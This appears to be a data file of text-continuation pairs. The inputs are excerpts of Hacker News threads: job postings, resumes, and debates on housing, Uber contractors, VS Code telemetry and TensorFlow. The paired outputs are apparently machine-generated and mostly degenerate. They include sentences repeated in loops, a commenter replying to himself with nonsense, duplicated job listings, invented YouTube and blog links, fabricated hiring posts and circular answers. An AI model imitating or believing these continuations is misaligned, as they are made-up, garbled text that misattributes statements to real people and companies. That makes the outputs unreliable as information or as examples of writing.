Docker\n\n\\- Docker\n\n\\- Docker\n\n\\- Docker\n\n\\- Docker\n\n\\- Docker\n\n\\- Docker\n\n\\- Docker", "input_text": " is a get-to-know you call, a short tech\ntest, and a finalization call.\n\nWe use C++, C#, Unity, and Unreal Engine.\n\n------\nwgancayco\nArcanys | Web Architect | Cebu City, Philippines | ONSITE\n\nHi guys, interested in discovering the Philippines? If you are an experienced\nweb Architect, I just might have the opportunity for you. check out our job\ndescription here: [https://www.arcanys.com/jobs/#op-119518-senior-web-\narchitect...](https://www.arcanys.com/jobs/#op-119518-senior-web-architect--\ntechnical-leader)\n\nYou can either apply through our website or email me at w.gancayco@arcanys.com\n\nCheers!\n\n------\ntonit\nrebaze - [http://rebaze.com](http://rebaze.com) | \"Developer Advocate as a\nService\" \\- Type of Engineer | Hannover, Germany | REMOTE + ONSITE in Germany\n| Fulltime\n\nHey there, We develop tools, principles and products for enterprise\nengineering teams so they can have startup-like fun, too. We create rockstar\ntools, coach teams on new techs and reimagine existing software products.\n\nWe are \"Developer Advocates as a Service\" for our clients.\n\nYou are a software remodelling enthusiast! You love to refactor dusty\ncodebases, simplify processes and removing obsolete stuff all DAY.\n\nYou need to live in Germany or at least be able to travel to Germany 3\ndays/week.\n\nYou should have a deep background in at least 2 of the following technical\nareas"} +{"output_text": " have the same opportunity.\n\n~~~\n1_2__3\nI'm not saying it's fair. I'm saying it's the way it is.\n\n~~~\nhueving\nI'm saying it's the way it is because it's the way it is.\n\n~~~\n1_2__3\nI'm saying it's the way it is because it's the way it is.\n\n------\njedberg\nI'm not sure why this is", "input_text": " have plenty of places to live, you just don't want to live there.\n\n~~~\nhueving\nIt's always interesting to me how many people think they have a right to live\nin a specific location. It's a strange mental model that I haven't fully\ngrasped.\n\n~~~\n1_2__3\nIt's more interesting to me how many people think money should, and inevitably\nwill, trump all other interests.\n\nMaybe if you're a 20-something programmer uprooting your entire life to live\nsomewhere else after decades in a location because financial pressures outside\nyour control make your home and everywhere near it impossible to afford that's\nnot such a big deal.\n\nBut for fuck's sake, think about this for a second. Most people _do_ have\nthings rooting them to a particular location. Maybe it's a social circle.\nMaybe it's support network. Maybe it's their career, or their children's\nschooling, or their health and the local climate.\n\nAt the end of the day we as a populace get to decide public policy. Taking\npeople being priced out of their homes as fait accompli because them's the\nmarket breaks is heartless enough, but then saying disdainful things about\njust how painful and difficult it is is worse.\n\n~~~\nhueving\nHere is the thing, there is only so much room for people. You are either\nsaying \"fuck you\" to the young people of the community that want to get a\nhouse in the place they have roots, or you say \"fuck you\" to the people that\ncan't afford to live there. I don't see how it's particularly fair for a\nperson to feel entitled to an area they did not purchase property in over\nanother that just didn't"} +{"output_text": "[https://www.youtube.com/watch?v=Z_0_0_0_0g](https://www.youtube.com/watch?v=Z_0_0_0_0g)\n\n------\njason_slack\nSlack | San Francisco, CA | Full-time | Onsite\n\nSlack is hiring! We are looking for a few engineers to join our team.\n\nWe are looking for:\n\n*", "input_text": "\nyou and isn't just sitting there resume farming\n\n------\n_bAp_\nMakeMeReach | Paris, France (near Opera) | Full Time | Onsite\n\nMakeMeReach is a fast-growing social ad tech company. We empower agencies\n(Havas, Dentsu-Aegis, GroupM...) and advertisers (Meetic, BlaBlaCar,\nL\u2019Occitane...) to outperform their campaigns on Facebook, Twitter and\nInstagram, at scale.\n\nOur solution leverages a cutting-edge platform that automates and optimizes\nall social ads campaigns in one place, and a team of performance marketing\nexperts who maximize ads efficiency.\n\nOur intuitive tool and team expertise are leading to success thousand\ncustomers in hundred countries. MakeMeReach is vetted by Facebook, Twitter and\nInstagram as an Official Partner.\n\nWe are looking for a Full-Stack Software Engineer to join our amazing team.\nYou will be part of a human-size, fun and fast-moving team and you will have a\ndirect impact on the product. We would like someone who can learn quickly and\nplay ping-pong at a professional level (last point optional).\n\nStack : HHVM (Hack), Angular, MongoDB, Coffeescript, Node.js, Ping-Pong,\nFoosball\n\nAdvantages : Startup experiencing exponential growth, Attractive wages,\nAmazing office in the center of Paris, Autonomy, Fun environnement,...\n\nWebsite : [http://makemereach.com/](http://makemereach.com/)\n\nApply : [https://makemereach.workable.com/](https://makemereach.workable.com/)\n\nCulture :\n"} +{"output_text": ".\n\nWe are looking for:\n\n* Senior Software Engineer (Java, Scala, Python, Javascript, React, AWS, Docker)\n\n* Senior Software Engineer (Java, Scala, Python, Javascript, React, AWS, Docker)\n\n* Senior Software Engineer (Java, Scala, Python, Javascript, React, AWS, Docker)\n\n* Senior Software Engineer (Java, Scala, Python, Javascript, React, AWS, Docker)\n\n* Senior", "input_text": " scalability.\n\nShoot me a message at vramarap@visa.com; register for our hiring event at\n[http://tinyurl.com/hezyqet](http://tinyurl.com/hezyqet)!\n\n------\ndatboitom\nAlbert ([https://meetalbert.com/](https://meetalbert.com/)) | Android\nDeveloper | Los Angeles, CA | Onsite, Full-time\n\nAlbert is a well funded, fast growing mobile app that gives simple, actionable\nfinancial advice. We're building the APIs and integrations to every type of\nfinancial institution so that people can seamlessly act on any type of\nfinancial advice. We're on a mission to improve financial health \u2013 with a\nbeautifully designed, simple product.\n\nCurrently hiring: Android Developer (to take full ownership of our Android\napplication).\n\nDetails/apply at: [https://jobs.lever.co/meetalbert/1f8bc848-e2ac-4dee-\nac2b-c34...](https://jobs.lever.co/meetalbert/1f8bc848-e2ac-4dee-\nac2b-c3485e8907f8)\n\n------\nbwreilly\nReUP | Seattle, WA | full-time | onsite\n\nReUP is a angel-backed startup improving and professionalizing the\nrecreational cannabis industry with a wholesale marketplace integrating\naccounting, seed-to-sale tracking, and inventory management.\n\nWe are looking for general purpose, motivated technologists who are interested\nin the domain and willing/able to wear many hats. We believe in building\nquality software for the long term using the best technology for the job"} +{"output_text": " in a bad place.\n\n------\njoshu\nI think the best way to get a job is to get a job.\n\n~~~\njoshu\nI'm not sure why this is getting downvoted.\n\n~~~\njoshu\nI guess it's because I'm not a native speaker.\n\n~~~\njoshu\nI guess I should have said \"get a job\" instead of \"get a job\".\n\n------\njosh", "input_text": " life I think is having mentors who are examples to follow it's good to have\na person who you can think \"What would Bob do?\" as an internal guide.\n\nIt's easy to say all that but hard to do, I haven't mastered that yet.\n\n~~~\nmsutherl\nI've found this fear to be my greatest motivator, but it has also lead me down\nfalse paths. Truth is, your dichotomy is a fiction. There are plenty of people\nwho live fulfilling lives without ever having consciously focused on learning\nskills and meeting qualifications wanted by employers. However, nobody gets\nanywhere by being lazy \u2013 one then needs to find another motivator. One I have\nin mind is: repulsion toward injustices in the world. Rather than fearing\ndrudgery, you can hold yourself personally accountable for evils and optimize\nfor effecting change. Of course this is also a fiction. An individual is most\nlikely incapable of effecting significant change in the world.\n\nAll motivations are irrational, but you still must have one. If you haven't\nfound one, keep looking. Watch documentaries, travel, read books. You will\nfind things to care about.\n\n~~~\ndhughes\nI shouldn't say or at least didn't mean a lot of money is the only way to be\nhappy, yes finding something you love to do and your family is able to live a\ngood life is the goal.\n\nEducation is a great character builder I often see educated people in\nstressful situations far more calm than someone who worked all their lives wit\nno education other than high school. It's not a science it doesn't apply every\ntime but education gives you options, if you lose your job at a sawmill where\nyou worked since age 16 you're going to be"} +{"output_text": " Web App for Android - johns\nhttp://www.johndcook.com/blog/2016/01/23/single-page-web-app-for-android/\n======\njohndcook\nI've been working on this app for a few months now. It's a single page web app\nfor Android. It's a bit rough around the edges, but I'm happy with it.\n\nI'm not sure if it's a good idea", "input_text": "oras should have given his students smaller normal cups because, if we\ngo Machiavellian for a moment, people are unscrupulous and will plug the hole,\ntherefore a smaller cup will be more effective. And limited servings.\n\n~~~\nrobryk\nYou can make this harder by providing multiple small holes all over the bottom\nof the cup.\n\n------\ncustos\nThis is how toilets work.\n\n------\nmrfusion\nAnywhere to buy one cheaply?\n\n~~~\nIgorPartola\n3D print one?\n\n~~~\nrobryk\n3D printing stuff that's foodsafe is nontrivial. You not only need a material\nthat is not directly harmful (in temperatures it will be used in), but also\nmost 3d printed surfaces will not be smooth. This makes them very hard to\nproperly clean (especially the parts of such a cup that wouldn't be\nreachable), which causes biological problems (bacteria and mold growing\nthere).\n\nWhatever material such a cup was made out of, I'd've wanted to be able to\ndismantle it for cleaning, which lessens the advantage of 3d printing over\nmore traditional fabrication techniques.\n\n------\nchrisbrandow\nAlso like Soxhlet extractors. That is the coolest chemistry glassware.\n\n------\nkahrkunne\nI'd encourage anyone to read up on Pythagoras. He was a really weird guy who\nheld some inane beliefs and superstitions. Also a cult leader.\n\n~~~\nempath75\nI don't think we can know what he really believed or if he existed at all.\nHe's a semi-mythical figure and there are no contemporary accounts of him.\n\n \nShow HN: Single Page"} +{"output_text": "in the ass.\n\n------\njoshstrange\nI'm not sure I understand the point of this article. The author is saying that\nif you want to charge for updates you should charge for updates. I don't see\nhow that is a bad thing.\n\n~~~\njoshstrange\nI guess I'm missing the point of the article. I'm not sure if I'm just not\nunderstanding it or if it's just a bad article.\n\n", "input_text": "n), and you could\nkeep track of which older features no one has, or offer periodic\nfree/discounted updates to reduce the amount of different versions out there.\n\n------\nheadcanon\nRenoise ([https://www.renoise.com/](https://www.renoise.com/)) is sold on the\nsame model. Each purchase guarantees free updates for one major version cycle\n(if you purchase v2.8, you get free updates until v3.8). Might not follow\nsemver rules, but it seems fair to me.\n\n------\norasis\nThese guys are fooling themselves. If their app provides ongoing value, then\nsubscriptions are the way to go today - it's just a matter of charging the\ncorrect price for the perceived value the consumer is receiving.\n\n------\nwalterbell\nOne question about this model: does the client app need to contact the\ndeveloper\u2019s licensing server on every app start, or after every app upgrade,\nor only at the time of in-app purchase?\n\nIf there\u2019s only a one-time \u201cphone home\u201d to the license server, this seems like\na good revenue model that balances the needs of users and iOS developers.\n\n~~~\nRjevski\nIn-app purchases are handled directly by Apple, so you can do away with a\nlicensing server and just enforce licensing on the client.\n\n~~~\nwalterbell\nBut they are allowing all clients to get new binaries (with bug fixes and new\nfeatures) while limiting them to features within a rolling 12 month window\nfrom time of purchase. Apple doesn\u2019t have the ability to gate features that\nway.\n\n------\ndigi_owl\nSoftware, like books, only has a market as long as the distribution is a pain\n"} +{"output_text": "'m not sure I understand the point of this article.\n\nIt's a bit like saying \"we found a piece of paper in the street, but we can't\nsay for sure if it's from a plane or a car\".\n\n~~~\nsampo\nThe point is that the bacteria were found in the soil, not in the water.\n\n~~~\naidos\nI'm not sure I understand the point of this article.\n\nIt's a bit like saying", "input_text": "days' before, is it in\nthe realm of possibility to detect actual water from MRO?\n\n~~~\ncoryfklein\nFTA\n\n> \u201cThere are two basic origins for the water: from above or from below,\u201d Dr.\n> McEwen said. The perchlorates could be acting like a sponge, absorbing\n> moisture out of the air... The other possibility is underground aquifers,\n> frozen solid during winter, melting during summer and seeping to the\n> surface.\n\nAlthough \"rain\"/humidity is unlikely, the article also discusses why it can\nstill be considered a possibility since we don't have good humidity\nmeasurements at the surface.\n\n------\ncoldtea\nMaybe arsenic-based life too? This special announcement for merely \"signs of\"\n(instead of corfirmation) speaks of PR and the need to secure next years\nbudget...\n\n~~~\nsampo\nCurrently the mainstream opinion is that the bacteria didn't use arsenate, but\nwere very good at using the small amounts of phosphate that was still present\nin the experiment. And that the experimenters were not very good at cleaning\nall the phosphate out of the growth medium.\n\nSo the highly publicized 2010 study is now pretty much falsified.\n\n[http://www.nature.com/news/arsenic-life-bacterium-prefers-\nph...](http://www.nature.com/news/arsenic-life-bacterium-prefers-phosphorus-\nafter-all-1.11520)\n\n[https://en.wikipedia.org/wiki/GFAJ-1#Criticism](https://en.wikipedia.org/wiki/GFAJ-1#Criticism)\n\n------\naidos\nI"} +{"output_text": "_V_1q8E)\n\n~~~\njimmaswell\nI'm not sure how much of a difference it makes. I'm a freelancer and I work\n4-day weeks, but I'm not sure how much of that is because I'm a freelancer\nand not because I'm a salaried employee.\n\n~~~\nwsc981\nI'm not sure either. But I think it's a good thing that more people are\ncho", "input_text": "\nto the gains.\n\nSure, if your work is so engaging and rewarding that work itself is a\npleasure, than it might pay off. But for most of us it just doesn't work that\nway. Work often means doing things were mostly others set the agenda, and\nwhile you may be good at what you do and find motivation in doing it, I've\nfound that it rarely means that you can do it with the same sustained level of\nenergy and quality for more than four eight hour days \u2014 and even that isn't a\ngiven.\n\n------\nwsc981\nIn The Netherlands /a lot/ of people work 4-day workweeks already [0]. It's\nnot that novel. But it'd be good if more countries could largely make the\nswitch.\n\nDue to the progressive tax in The Netherlands, working 5 days instead of 4\ndoesn't earn /that/ much more money and if you have toddlers, you will spend a\nday less for daycare, a day extra with your kids and probably have more time\nfor the fun things in life as well.\n\nAs a salaried employee I often chose a 4-day workweek as well when living in\nThe Netherlands. But once I started freelancing, the 5-day workweek seemed the\nbetter choice for me. As freelancer you are taxed a bit less compared to a\nsalaried employee, so there's more incentive to make as much money as possible\nduring the workweek.\n\n\\---\n\n[0]: [https://www.equaltimes.org/a-four-day-work-week-is-\nonly-a#.X...](https://www.equaltimes.org/a-four-day-work-week-is-\nonly-a#.XPxZ"} +{"output_text": " was the\npassage of the Airline Deregulation Act of 1978.\n\n[https://en.wikipedia.org/wiki/Airline_Deregulation_Act](https://en.wikipedia.org/wiki/Airline_Deregulation_Act)\n\n------\njedberg\nI'm not sure if this is a good thing or not.\n\nI think it's a good thing that the FAA is more responsive to the public.\n\nBut I think it", "input_text": "\n\nSo to be good regulators, they have to be essentially omniscient?\n\n~~~\nsmt88\nNo. Post-mortems of these types of disasters usually reveal that warning signs\nwere visible if anyone cared to look or act.\n\nOne example happening now: extreme, pervasive sleep deprivation in the US\nNavy. We've already had disasters that could've been prevented if someone\ntalked to even a single sailor and realized how dangerous that is.\n\nAnother example is self-driving cars. We just had a Tesla crash, and yet Tesla\nwill not be regulated properly and will likely kill someone soon. Arguably,\nthey already have.\n\n------\nedoo\nOn youtube now you can find flight simulator reenactments of most every crash\nand air incident. They are quite fascinating and much much better than TV\nstyle dramatizations.\n\nHere is this incident: [https://www.youtube.com/watch?v=LzY-\nhzxlqig](https://www.youtube.com/watch?v=LzY-hzxlqig)\n\n~~~\ncf498\nThe air traffic control recordings alone are really great. When the guy stole\na plane from Seattle airport to take it for a joyride, i got stuck and clicked\nmyself through what felt like half the ATC recordings on youtube. Can only\nrecommend it, the level of international communication is rather astonishing.\n\n[https://www.youtube.com/channel/UCuedf_fJVrOppky5gl3U6QQ](https://www.youtube.com/channel/UCuedf_fJVrOppky5gl3U6QQ)\n\n------\ngingerbread-man\nThe most significant regulatory change following the Colgan crash"} +{"output_text": "https://github.com/pdfernhout/PlantStudio)\n\nI also have a couple of other projects on GitHub:\n\n[https://github.com/pdfernhout/GardenSimulatorSourceCirca1997...](https://github.com/pdfernhout/GardenSimulatorSourceCirca1997InDelphi)\n\n[https://github.com/pdfernhout/GardenSimulatorSourceCirca1997...](https://github", "input_text": ", but you'd have to make your own decision about\nhow useful that was to you as a reference:\n[https://github.com/pdfernhout/GardenSimulatorSourceCirca1997...](https://github.com/pdfernhout/GardenSimulatorSourceCirca1997InDelphi/blob/master/ueq.pas)\n\nHere are the lines to look first inside that file:\n[https://github.com/pdfernhout/GardenSimulatorSourceCirca1997...](https://github.com/pdfernhout/GardenSimulatorSourceCirca1997InDelphi/blob/master/ueq.pas#L4741-L4764)\n\nRemember that a lot of EPIC is empirically derived functions and values from\nUS soils in certain climates -- so it may not be totally applicable elsewhere,\neven if it is a place to start.\n\nAnd here is a 100 page programmer's manual: [http://www.kurtz-\nfernhout.com/progmanlong.htm](http://www.kurtz-fernhout.com/progmanlong.htm)\n\nI put our PlantStudio and StoryHarp code up on GitHub (which share some common\ncode with the garden simulator) and have been meaning to someday put the\ngarden simulator code there.\n\nI spent a couple of months about a decade ago porting part of the code base to\nJava and also Python which involved writing a Delphi parser and translation\ntool, but the result is not a finished work. But the converted code for the\ngarden simulator is not on GitHub (yet). You can see some of the converted\nplant drawing code here though:\n[https://github.com/pdfernhout/PlantStudio]("} +{"output_text": "/idUSL1N0KQ0Q2201...](http://www.reuters.com/article/businessprop/idUSL1N0KQ0Q22010121)\n\n------\njoshstrange\nI'm not sure I understand the issue here. The drivers are not employees, they\nare independent contractors. The drivers are not employees, they are\nindependent contractors. The drivers are not employees, they are independent\ncontractors. The", "input_text": " would be true (very unlikely for a few, false as a matter of law in at\nleast one).\n\nYou can't just assume that the change would achieve this state where workers\nget strictly more benefits and Uber's profits are sucked out. You need to take\ninto account how much they can cut driver cash payments in that circumstance\n(i.e. paying them via benefits), where the economic incidence of car costs and\nFICA taxes currently lies, what the law says about piecework, etc.\n\n------\nKarunamon\nOne thing I never see addressed in these Uber stories is how, precisely, the\ndrivers got classified as employees.\n\nThe only test I'm aware of refers to things like set hours, dictated methods\nof working, company equipment, payment, and so on[1].\n\nJust by that those tests alone, I don't see how an Uber driver is\nrealistically anything other than a contractor.\n\nSo either a judge screwed up somewhere, or I'm really missing something. Would\nanyone have some more information on the particulars?\n\n[1]: [https://www.irs.gov/Businesses/Small-Businesses-&-Self-\nEmplo...](https://www.irs.gov/Businesses/Small-Businesses-&-Self-\nEmployed/Independent-Contractor-Self-Employed-or-Employee)\n\n------\neugenekolo2\nReminds me of Microsoft's contractor lawsuit.\n\n[https://en.wikipedia.org/wiki/Permatemp#Vizcaino_v._Microsof...](https://en.wikipedia.org/wiki/Permatemp#Vizcaino_v._Microsoft)\n\n[http://www.reuters.com/article/businessprop"} +{"output_text": " and you can make a living.\n\n~~~\ntrevmckendrick\nI'm not sure I agree with that. I think the App Store is a great place to\nmake money, but it's not the only place.\n\n~~~\nandrewljohnson\nI think it's a great place to make money, but it's not the only place.\n\nI think it's a great place to make money, but it's not the only place.\n\n", "input_text": ".com/item?id=10352263)\n\n \nMy First Year in the App Store - trevmckendrick\nhttp://www.trevormckendrick.com/my-first-year-in-the-app-store/\n======\ndhruvmittal\nI was actually really excited by the \"...you can get the next 9 posts\ndelivered to your email by signing up here:\" at the bottom. I like it. I like\nemail, because I can read it anywhere and filter it any way I want. I dislike\nunsubscribing from email updates about as much as I dislike getting updates\nI'll never read. By making it easy to get emailed only about a story I've\nalready demonstrated interest in (by reading all the way through), you've made\nsure I'll come back for your next 9 posts.\n\nI'd like to see more people use something like this.\n\nOr, if I've misunderstood how this works...well, the concept was exciting.\n\n~~~\ntrevmckendrick\nVery kind words. Glad you liked it. Indeed, fewer people sign up, but you know\nthey're the ones who value the content the most.\n\n~~~\ngrecy\nGiven that you're using wordpress, is that a plugin for the \"sign up by\nemail\"?\n\nThanks,\n\n~~~\ntrevmckendrick\nIt's just HTML that Mailchimp gave me that I stuck in the post.\n\n------\nandrewljohnson\nWhenever anyone complains to me that its hard to make money on software,\nand/or the App Store is rigged, I always tell them I think anyone can make a\nliving by making a bible app. You don't even have to be the best one, just\npretty good,"} +{"output_text": " you did.\n\n------\njoe_the_user\nI'm not sure I understand the point of this article.\n\nThe author seems to be saying that TensorFlow is a \"better\" library than\nCaffe, but that's not really the point of the article.\n\nThe point of the article is that TensorFlow is a better library than Caffe.\n\nThe author seems to be saying that TensorFlow is a better library than Caffe\nbecause it's", "input_text": "Python ecosystem are Numpy and SciPy and even Sci-kit Learn. You'll see the TF\nteam implement a lot more algorithms on top of their numerical computing\neventually. (In the JVM world, I work on ND4J --\n[http://ND4J.org](http://ND4J.org) \\-- and we see a lot of similarities, which\nis why I bring this up.)\n\n~~~\nIshKebab\nSo is Torch though.\n\nBesides, deep learning is mostly just matrix operations anyway, so you're kind\nof saying \"TensorFlow is about a lot more than matrix operations - it's a\nmatrix library too\"...\n\n~~~\nvonnik\nKind of. Deep learning is about more than matrix operations, and matrix\noperations are useful for applications other than deep learning, so I believe\nthe distinction is worth making. Just like with programming languages, which\nmay all be used for the same application, it's all about what you make easy to\ndo, and what you make difficult. I'm saying the TF's intention is to make many\nthings beyond DL easy, although people think of it chiefly as a DL library\natm.\n\n------\nSixSigma\nStanford's CS224d: Deep Learning for Natural Language Processing uses\nTensorFlow. Although they have only just got up to the part where they are\nbeginning to use it.\n\nHere's the \"Introduction to TensorFlow\" lecture.\n\n[https://www.youtube.com/watch?v=L8Y2_Cq2X5s](https://www.youtube.com/watch?v=L8Y2_Cq2X5s)\n\nYou don't need to watch the previous 6 lectures to make sense of it but it\nwould help if"} +{"output_text": "utter app and run it\n> on Fuchsia.\n\nI'm not sure I understand this. Is this a new Flutter-based UI framework?\n\n~~~\njosteink\n> Is this a new Flutter-based UI framework?\n\nYes.\n\n> I'm not sure I understand this. Is this a new Flutter-based UI framework?\n\nYes.\n\n> Is this a new Flutter-based UI framework?\n\nYes", "input_text": " don't see how apps can be written\nin a wide variety of language as the author suggests.\n\n------\nakmittal\n>the main UI API is based on, yes, Dart\n\nWon't the Dart's single thread nature be bad to take advantage of Murli core\nprocessors? Or they are embracing web workers?\n\n~~~\nbitmapbrother\nDart, in the context of Fuchsia, isn't really a web based language. So yes,\nit'll take advantage of multi-core processors.\n\n------\nbitmapbrother\nThe author calls it Andromeda OS, but is this really the Andromeda OS we've\nbeen hearing about? I'm not so sure about that. What we do know right now is\nthat the OS is currently code named Fuchsia.\n\nFuchsia repository:\n[https://fuchsia.googlesource.com/?format=HTML](https://fuchsia.googlesource.com/?format=HTML)\n\n~~~\ntechenthusiast\nThere has been other reporting about this going back to last fall. I don't\nthink Fuchsia is the marketing name.\n\n------\nantoncohen\nLink to the source code:\n\n[https://fuchsia.googlesource.com/](https://fuchsia.googlesource.com/)\n\n------\nMichaelMoser123\nThe article says it's a microkernel, I wonder if it will be a more secure\ngeneral purpose OS, well windows NT started as microkernel but they changed\nthat wit NT 4,let's see if it will be different. I also wonder about driver\nsupport and battery consumption. Good luck to Google.\n\n------\nsjtgraham\n> The pitch will clearly be that developers can write a Fl"} +{"output_text": " lot of places.\n\nI'm not saying that blockchain is a bad idea, but I'm not sure that it's the\nbest idea for this problem.\n\n~~~\ndzdt\nI think the article is a bit too dismissive of the blockchain. It's not just\n\"the cool kids\" using it, it's the \"cool kids\" who are using it to solve\nproblems that are hard to solve with existing technology.\n\n------\njoe_the", "input_text": "\nimplementation.\n\n------\ndzdt\nAs usual, I like Matt Levine's take on this :\n[https://www.bloomberg.com/view/articles/2017-03-06/cargo-\nblo...](https://www.bloomberg.com/view/articles/2017-03-06/cargo-blockchains-\nand-deutsche-bank).\n\n _The problem to be solved here is not chiefly technological: It's getting\nall of those agencies to agree to a single messaging protocol. That's hard!\nThey have long experience of using their own protocols (e.g., paper), and\nlittle incentive to switch to Maersk's. Calling the new protocol a\n\"blockchain\" makes it sound sexier, and so more likely to be adopted._\n\n~~~\nfragmede\nI'm inclined to agree with the premise, that \"blockchain\" is just what the\ncool kids are using, and adoption is piggybacking on that. Unfortunately the\narticle fails to go into any detail as to why that is or is not the case, it\nmerely quotes from the press release and then Matt points out that central\nbanking exists.\n\nShipping, especially on Maersk's level, has all sorts of challenges that I'm\nsure I've never even contemplated, but Matt Levin's piece doesn't mention any\ndetails that leads me to think he's working off any more details than I.\n\nLarge shipping container docks are horrible environments for electronics and\nwireless technology. Long distances, lots of big metal things, lots of water\npresent - large bodies of water block and bounces radio waves and salt water\nis corrosive to electronics, concrete everywhere, so laying cables is\nexpensive, and there may not even be power in a"} +{"output_text": "\n\nWe're looking for people who want to work on a product that will make a\ndifference to the lives of students and academics.\n\nIf you're interested, please email me at ben@haplo-services.com\n\n------\njason_slack\nSlack | San Francisco, CA | Full-time | Onsite\n\nSlack is hiring! We are looking for a few engineers to join our team.\n\nWe are looking for:\n\n", "input_text": "ently.\n\nTo apply, send a cover letter and resume to info@mscience.com.\n\n~~~\ndavidw\nIt's difficult to search for 'OR' \\- please write out the name of our state to\nmake it easier to find.\n\n------\nbensummers\nHaplo -- London, UK -- Full time, ONSITE\n\nWould you like to write high quality software, for users in universities who\nlove your work?\n\nWe're looking for developers to join our team, especially those who are early\non in their career. Here's how we support your learning: [http://www.haplo-\nservices.com/blog/2017/working-with-early-s...](http://www.haplo-\nservices.com/blog/2017/working-with-early-stage-developers)\n\nThe Haplo platform is open source, and we're working on open sourcing\neverything else we do: [http://haplo.org](http://haplo.org)\n\nOn top of the platform, we've built a suite of products for higher education,\nand are rolling them out to universities across the UK. Our flagship product\nis PhD Manager: [http://www.phd-manager.co.uk](http://www.phd-manager.co.uk)\n\nLike a startup: Small dedicated team. No barriers to doing your best work.\nOpportunity to get involved with everything, should you want to. Lovely\noffice, great espresso. Ambition to change the world in a small but\nsignificant way.\n\nNot like a startup: Sensible working hours. Quiet environment away from the\nhustle. No random pressure from investors. Quality product without hacks."} +{"output_text": " but I don't think it is.\n\nI've been on both sides of the hiring process. I've hired people and I've\nhired people.\n\nI've hired people who were great at interviews and I've hired people who were\nterrible at interviews.\n\nI've hired people who were great at the job and I've hired people who were\nterrible at the job.\n\nI've hired people who were great at the job and I've hired people", "input_text": "all past, present and future operating systems and setting up secure networks.\nThe applicant must also be able to juggle up to twenty balls and read\nhieroglyphs, be fluent in Swahili and dance like Michael Jackson (especially\nmoonwalking \u2013 nice to have at corporate Christmas parties).\n\n------\nAngeloAnolin\nApplicants in general I feel are always to be on a disadvantage because _most_\ncompanies leave the hiring to the HR Department, who have very little clue on\nwhat they need to actually be looking. Most of the time, they would have a\nchecklist, where if the person does not meet enough of their threshold, that\nperson is immediately passed off for the next applicant.\n\nAdd the process that some folks do to screen candidates - lots of times, these\nare not objective in nature and tend to skew towards most applicants who seem\nto have a very impressive profile made up of fancy words and half truths.\n\n------\nnasalgoat\nI dunno, I tried to hire based on potential, and I just let them go after six\nmonths of him failing to grasp even the basics of the job. He did fine in the\ninterviews but ultimately you cannot fake experience.\n\n~~~\nwccrawford\nWe've hired multiple people based on potential. A few of them have worked out\nastoundingly well. More than that have quit or been let go for not being able\nto handle the job.\n\nIt's pretty demoralizing to let someone go. It's pretty annoying to have them\nquit in the first week. (Or even the first day!)\n\nBut it's pretty awesome when they work out and you get to watch their skill\ngrow over time.\n\n------\nduxup\nI wish this was a thing,"} +{"output_text": " allow?)\n\n~~~\nitsbits\nI am not sure about the firewall part. But I am sure that Microsoft will not\nallow you to distribute unofficial build.\n\n~~~\nwhatshisface\nI'm not sure what you mean by \"allow you to distribute unofficial build.\"\nMicrosoft has a policy that you can't distribute unofficial builds, but they\ndon't have a policy that you can't distribute unofficial builds if you're\nusing a Microsoft-provided build.\n\n", "input_text": "enableTelemetry` to false and continue to\nuse the official builds.\n\n~~~\nSilhouette\nBut only if you trust Microsoft to honour that setting indefinitely, and not\nfor example to just change it back later or hide something shady behind\nanother option instead. At this point, a lot of people understandably don't.\n\n~~~\nxeromal\nIt's open source. You could see for yourself. lol\n\n~~~\nSilhouette\nSure, and then you could check again every time there is an update. But why\nbother, when there is already an uncontaminated version readily available to\nsolve this problem for you?\n\n~~~\neknkc\nHow do you know it is uncontaminated without looking at the source code?\n\n~~~\nSilhouette\nTechnically you don't, just like any other software, but the risk is surely\nsignificantly lower since everyone _including Microsoft_ is saying that what\nMicrosoft is doing is taking that same code and then adding its contaminants\non top.\n\n------\nchickenpotpie\nSomebody correct me if I'm wrong, but I'm pretty sure Amazon recommends using\nthis to their employees to prevent Microsoft tracking.\n\n~~~\nitsbits\nYou don't need to remove branding to disable tracking for corporates like\nAmazon. For example, They might have some firewall in the network which blocks\ntracking API.\n\n~~~\nwhatshisface\nYou need to remove branding to be allowed by Microsoft to distribute an\nunofficial build. You need to distribute an unofficial build to make sure that\nthe application isn't trying to find holes that might have been accidentally\nleft in your firewall. (Quick, without googling, which ports and dest IPs do\nyou need to block? Which ports/dest IPs will you need to"} +{"output_text": "://www.linkedin.com/in/jczhang/\n Email: jczhang@gmail.com\n \n\nI'm a full-stack engineer with a focus on front-end. I've been working in\nweb/mobile development for the past 5 years. I'm looking for a full-time\nposition.\n\n------\njames_s_tayler\nLocation: San Francisco, CA\n\nRemote: Yes\n\nWilling to", "input_text": " to relocate: Yes.\n\nTechnologies: Python, C#, Java, Node.js, WebGL, OpenGL, Javascript/Typescript.\nCan operate across the entire stack but tend to prefer backend and\ninfrastructure related work. Can work with functional languages. Recently been\nexploring Golang.\n\nCV: Available by email.\n\nEmail: akshay10791@gmail.com\n\n------\ntcvt\nLocation: Oregon, US\n\nRemote: No\n\nWilling to relocate: Yes\n\nTechnologies: Scala, Typescript, SQS, DynamoDB, EC2, Android, Docker\n\nR\u00e9sum\u00e9/CV:\n[https://toddcooke.github.io/Todd_Cooke_Resume.pdf](https://toddcooke.github.io/Todd_Cooke_Resume.pdf)\n\nEmail: toddcookevt@gmail.com\n\n1.5 years professional experience mostly using Scala and various AWS services.\n\n------\nno-dr-onboard\nLocation: Austin, Texas, USA\n\nRemote: Yes\n\nWilling to Relocate: No thank you.\n\nExperience: Pentesting/VA/RedTeaming (physical, network, application,\nwireless), Application SAST/DAST (C#,Go,C/C++), Security Research, Sysadmin,\nRed Team Infrastructure, Custom Cloud Security Solutions\n\nResume/CV: linkedin.com/in/gmalfie/\n\nEmail: alfa.ro.greg at gmail.com\n\n------\njczhang\n\n Location: Los Angeles\n Willing to relocate: Yes\n R\u00e9sum\u00e9/CV: Available on request\n LinkedIn: https"} +{"output_text": " daily basis and I'm not sure why people are so\nenthusiastic about it. It's a very simple language with a very simple\necosystem. It's not a good fit for anything but the simplest of web\napplications.\n\n~~~\njamespo\nI'm using nodejs on a daily basis and I'm not sure why people are so\nenthusiastic about it. It's a very simple language with a very simple\necosystem. It's", "input_text": " not as much of a culture of writing APIs that way in Python because\nit's generally a terrible way to program, and threads/OS processes are good\nenough for basically everything except HTTP servers with absurd numbers of\nconcurrent connections.\n\n~~~\nwrong_variable\n> There's not as much of a culture of writing APIs that way in Python because\n> it's generally a terrible way to program\n\nI would love to see evidence for you making that statement. Almost every\nprogrammer would put out their fav programming language as the 'right' way to\nprogram.\n\n> everything except HTTP servers with absurd numbers of concurrent connection\n\nOnce you 